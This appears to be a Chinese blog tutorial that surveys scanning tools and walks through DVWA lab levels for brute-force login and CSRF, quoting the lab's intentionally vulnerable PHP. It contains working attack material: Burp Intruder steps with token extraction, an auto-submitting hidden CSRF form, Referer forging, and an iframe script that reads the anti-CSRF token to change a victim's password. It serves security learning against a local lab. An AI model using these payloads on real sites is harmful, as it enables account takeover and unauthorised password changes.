web安全基础知识-part3

前言

文章同步于我的个人博客https://quan9i.top/websecurity3/,欢迎大家访问
上传简单的介绍了一下各种漏洞,今天我们来讲一下工具的使用,希望对正在学习的师傅们能够有所帮助

漏洞扫描工具

常用的是AWVS,它可以扫描出网站存在哪种漏洞,这里提供一下下载的链接
网页链接:https://pan.baidu.com/s/1FIwYHIEKfLf4XAyeXfhVnA
提取码:6sa8
安装教程
https://www.cnblogs.com/chun-xiaolin001/p/10060830.html
还有这个也可以
https://blog.csdn.net/weixin_46318141/article/details/121058698
使用教程
http://blog.tianles.com/89.html

SQL漏洞检测

SQL注入常用的是SQLmap,但是sqlmap这个工具需要python环境,因此我们需要先安装python,安装python的教程可以看这篇文章
python及其编译器安装
然后呢,再安装SQLmap,官网链接https://sqlmap.org/
sqlmap安装教程https://www.jianshu.com/p/6f4451e79d6e
有关sqlmap的使用和基础命令,可以查看这篇文章https://quan9i.top/sqlmap/

网页工具使用

搜索引擎大多都可以设置高级搜索,里面可以精确的设置搜索范围等等,由于比较简单,不再演示
我们知道,现在已经处于一种万物互联的时代,什么是万物互联呢,简单理解的话就是家里的摄像头,电脑,手机都可以同步到互联网上,我们可以通过钟馗之眼fofa来进行更精确的检测
如果不熟悉搜索规则,可以在钟馗之眼的搜索助手中进行查看
在这里插入图片描述

DVWA搭建

DVWA搭建首先需要有php+mysql+apache环境,Apache是什么?就是一个能提供Http服务的Web服务器。apache的作用是解析网页文件,mysql是提供数据支持

Apache是一个Web服务器: 基于Http/Https/Websocket等协议对外部提供数据、文件的获取功能。

PHP是可编程的脚本语言: 提供基本的运算和逻辑处理的功能,可以很好的应用于Web网站功能需求的开发。

MySQL是一种关系型数据库: 用于存储、修改、获取和管理数据的工具,可以通过结构化查询语言(SQL)进行数据库的管理。

apache和php的关系

Apache和PHP解释器之间的关系,是调用和被调用之间的关系,Apache主动调用PHP解释器去执行PHP脚本文件,PHP解释器被Apache调用。

PHP和MySql之间的关系

PHP和Mysql之间的关系,也是调用和被调用的关系,PHP通过SQL语言调用Mysql进行数据库的管理功能,Mysql数据库总是被动的接受操作指令。
参考文章Apache、PHP和Mysql之间的关系
而phpstudy这个集成环境正好有这个三个,有phpstudy后安装dvwa压缩包即可,dvwa官网http://www.dvwa.co.uk/
安装教程DVWA安装

Brute Force

low

<?php

if( isset( $_GET[ 'Login' ] ) ) { //提交非空
    // Get username
    $user = $_GET[ 'username' ]; //传入username

    // Get password
    $pass = $_GET[ 'password' ]; //传入password
    $pass = md5( $pass );//对密码进行md5加密

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    //在数据库中寻找对应的用户
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
   //这里的自定义全局变量应该是连接数据库的,用代码来说的话就是$GLOBALS["___mysqli_ston"] = mysqli_connect($hostname, $username, $pwd));
  // or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) 这句话是和前面一起看的,如果前面那条语句连接成功了,这个直接输出结果就是1
    if( $result && mysqli_num_rows( $result ) == 1 ) {
    //如果result变量和$result中的结果都为1
        // Get users details
        $row    = mysqli_fetch_assoc( $result ); 
        //将result作为关联数组赋值给row
        $avatar = $row["avatar"];
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    //关闭数据库连接并赋值给$___mysqli_res,如果它不是空就返回$___mysqli_res
}

?> 

观察源代码,有一句话不是很好理解,我在此对其进行相关解释

 $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

首先我们需要知道php中也存在三元运算符,条件?xxx:yyy当条件执行结果为1时,运行xxx代码,否则运行yyy,我们需要知道下面两者是不同的

1 or die(xx) ?y:z //此时直接输出结果为1,后面的三元运算符压根就不看
0 or die(xx) ?y:z //此时他需要执行die(xx),再根据返回结果确定是执行y还是执行z

本地测试如下
在这里插入图片描述

我们先看第一部分

 $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) :
 这里他自定义了一个全局变量,他要从这个里面寻找变量query,不难猜测出这里自定义的全局变量
 是连接sql数据库的,其可以大致理解为
 $GLOBALS["___mysqli_ston"] = mysqli_connect($hostname, $username, $pwd));
 当成功在寻找到的时候,那么这个是不是就会返回1,此时就直接跳过后面代码,到下面了

此时我们查看die的用法(官网说的是它是exit()的别名,输出举例子感觉更好理解)
在这里插入图片描述

在这里插入图片描述此时想想上面是1,那是true,是不是就直接往后看,直接执行下面了,如果前面为0的话,它就会执行die里的语句,也就是看是数据库是否连接成功,连接成功时返回1, 此时执行mysqli_error($GLOBALS["___mysqli_ston"],连接成功了那肯定无报错信息,此时它就是1,然后往下执行,如果没连接上的话,执行$___mysqli_res = mysqli_connect_error(),这个是将错误信息返回给$___mysqli_res,此时他如果返回的结果为1,就执行$___mysqli_res,否则返回false

合起来看它的含义就是看名字和密码是否能够匹配成功,匹配成功的话就输出欢迎,然后配个图,不能匹配成功的话就看是否数据库连接成功,如果没连接成功就将报错信息输出

那么本关是暴力破解,我们先随便输入,然后抓包,发送到intruder模块,此时再选择类型,如下图
在这里插入图片描述然后在下方添加常见的弱口令用户名在这里插入图片描述
同理设置第二个
在这里插入图片描述

开启爆破
在这里插入图片描述

Medium

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

本关的不同点在于mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass,对传入的参数中的特殊符号进行了转义,此时sql注入基本的姿势就无法成功执行了,但不影响暴力破解,同上关即可

High


Brute Force Source
vulnerabilities/brute/source/high.php
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>



多了个验证user_token的,不过我们可以利用bp来构造token
依然和之前相同,进行bp抓包发送到intruder模块,此时选择pitchfork并设置密码和token为变量
在这里插入图片描述此时将线程更改为1(因为Recursive_Grep模式不支持多线程攻击)
在这里插入图片描述然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置
(点refetch responce即可获取信息)

在这里插入图片描述
选择红色标记的地方的含义是每次刷新后从响应中获取该值,此时将token值记录下来,划到下方
在这里插入图片描述
选择总是允许重定向
回头选择payload中,1依然同之前
在这里插入图片描述第二个选择recursive gerp,并将token值添加到 first request 后面,此时开启爆破

在这里插入图片描述
成功获取密码在这里插入图片描述

IMpossible

 <?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();
?>

拥有密码锁定,因此我们同上关的猜测的话,是难以猜测出结果的,因为还没运行几次,就会锁定,很难得出正确的

CSRF

这里以DVWA来进行讲解

LOW

观察源码

<?php

if( isset( $_GET[ 'Change' ] ) ) { //检测change中是否为空
    // Get input
    $pass_new  = $_GET[ 'password_new' ]; //传入新密码
    $pass_conf = $_GET[ 'password_conf' ];//传入验证的新密码

    // Do the passwords match?
    if( $pass_new == $pass_conf ) { //如果新密码与验证的相等
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
 //当全局变量___mysqli_ston非空且是一个对象是就对新密码进行检测,过滤空格这种,否则就创建错误消息
        $pass_new = md5( $pass_new );
//对新密码进行md5加密
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        //在mysql中执行更改更改密码语句
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

函数介绍

mysqli_query() 函数执行某个针对数据库的查询。
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。转义的大多是\n \t这种
is_object () 函数用于检测变量是否是一个对象
mysqli_error() 函数返回最近调用函数的最后一个错误描述。
die() 函数输出一条消息,并退出当前脚本。
该函数是 exit() 函数的别名。
如果 status 是字符串,则该函数会在退出前输出字符串。
如果 status 是整数,这个值会被用作退出状态。退出状态的值在 0254 之间。退出状态 255PHP 保留,不会被使用。状态 0 用于成功地终止程序。
mysqli_query() 函数执行某个针对数据库的查询。

它的大意呢就是你输入新密码和验证密码,如果两者相等,就会匹配成功
在这里插入图片描述
我们修改密码为admin
在这里插入图片描述
显示修改成功,此时我们再次登录发现确实修改过了,而他这个过程是怎么实现的呢,此时可以看一下url,你会发现url后面多了点参数

http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

而当我们在url中把admin修改为quan9i
在这里插入图片描述
发现显示修改成功,同时意味着成功
那我们平常遇到的CSRF都是包装隐藏起来的,比如我们构造一个html界面,打开直接就修改了密码,这种是平常会遇到的,表单构造代码如下

<html>
<body onload="javascript:csrf()"> //当页面载入完毕后执行csrf中的代码
<script>
function csrf(){
document.getElementById("button").click();
}
</script>
<style>
form{
display:none;
}
</style>
    <form action="http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/" method="GET">
        New password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password_new" value="test"><br />
      //AUTOCOMPLETE="off"含义其实就是清除了之前输入的密码缓存,比如你输入过quan9i后,下次输入他会下方有个框提示quan9i,这个就是避免了这种的出现
        Confirm new password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password_conf" value="test"><br />
        <br />
        <input type="submit" id="button" name="Change" value="Change" />
    </form>
</body>
</html>

打开这个html文件
在这里插入图片描述
直接提示密码修改完成,此时的密码就是test

MEdium

观察源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

函数介绍

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
$_SERVERPHP 预定义变量之一,可以直接使用,它是一个包含了诸如头信息(header)、路径(path)及脚本位置(script locations)信息的数组。
$_SERVER 数组中的元素由 Web 服务器创建,但不能保证每个服务器都提供全部元素,有的服务器可能会忽略一些,或者提供一些没有在这里列举出来的元素。

我们知道referer头是来检测你从哪里来的,那上面一段话的含义其实就是检查这个是不是来自于界面上的,我们之前构造的表单此时再次打开,就会出错
在这里插入图片描述
那我们可以查看他的正常时的referer,在提交表单后抓包伪造referer即可
在这里插入图片描述
可以看出正常的referer是http://127.0.0.1:8080/DVWA-master/index.php,我们抓表单的包,添加referer字段提交
在这里插入图片描述

High

观察源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

代码中加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
因此我们可以构造一个界面,先来获取用户的token,然后再进行修改密码

<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }
</script>
 
<iframe src="http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">
</iframe>
 
<body onload="attack()">
  <form method="GET" id="transfer" action="http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/">
   <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
   <input type="hidden" name="user_token" value="">
  <input type="hidden" name="Change" value="Change">
   </form>
</body>

这个只是演示,可以修改成功,而实际情况下是无法成功的,因为涉及了跨域请求,跨域请求时我们无法直接获得另一个ip的user-token,除非另一个ip主动向我们发送请求

impossible

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

这关不仅有user-token,还利用了PDO对网页进行防护,并且有密码输错多次后锁定,在不知情密码的情况下,我们是无法进行CSRF的。

Command Injection

可以看我的这两篇文章
https://blog.csdn.net/Reme_mber/article/details/122708961?spm=1001.2014.3001.5502
https://xz.aliyun.com/t/10947

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值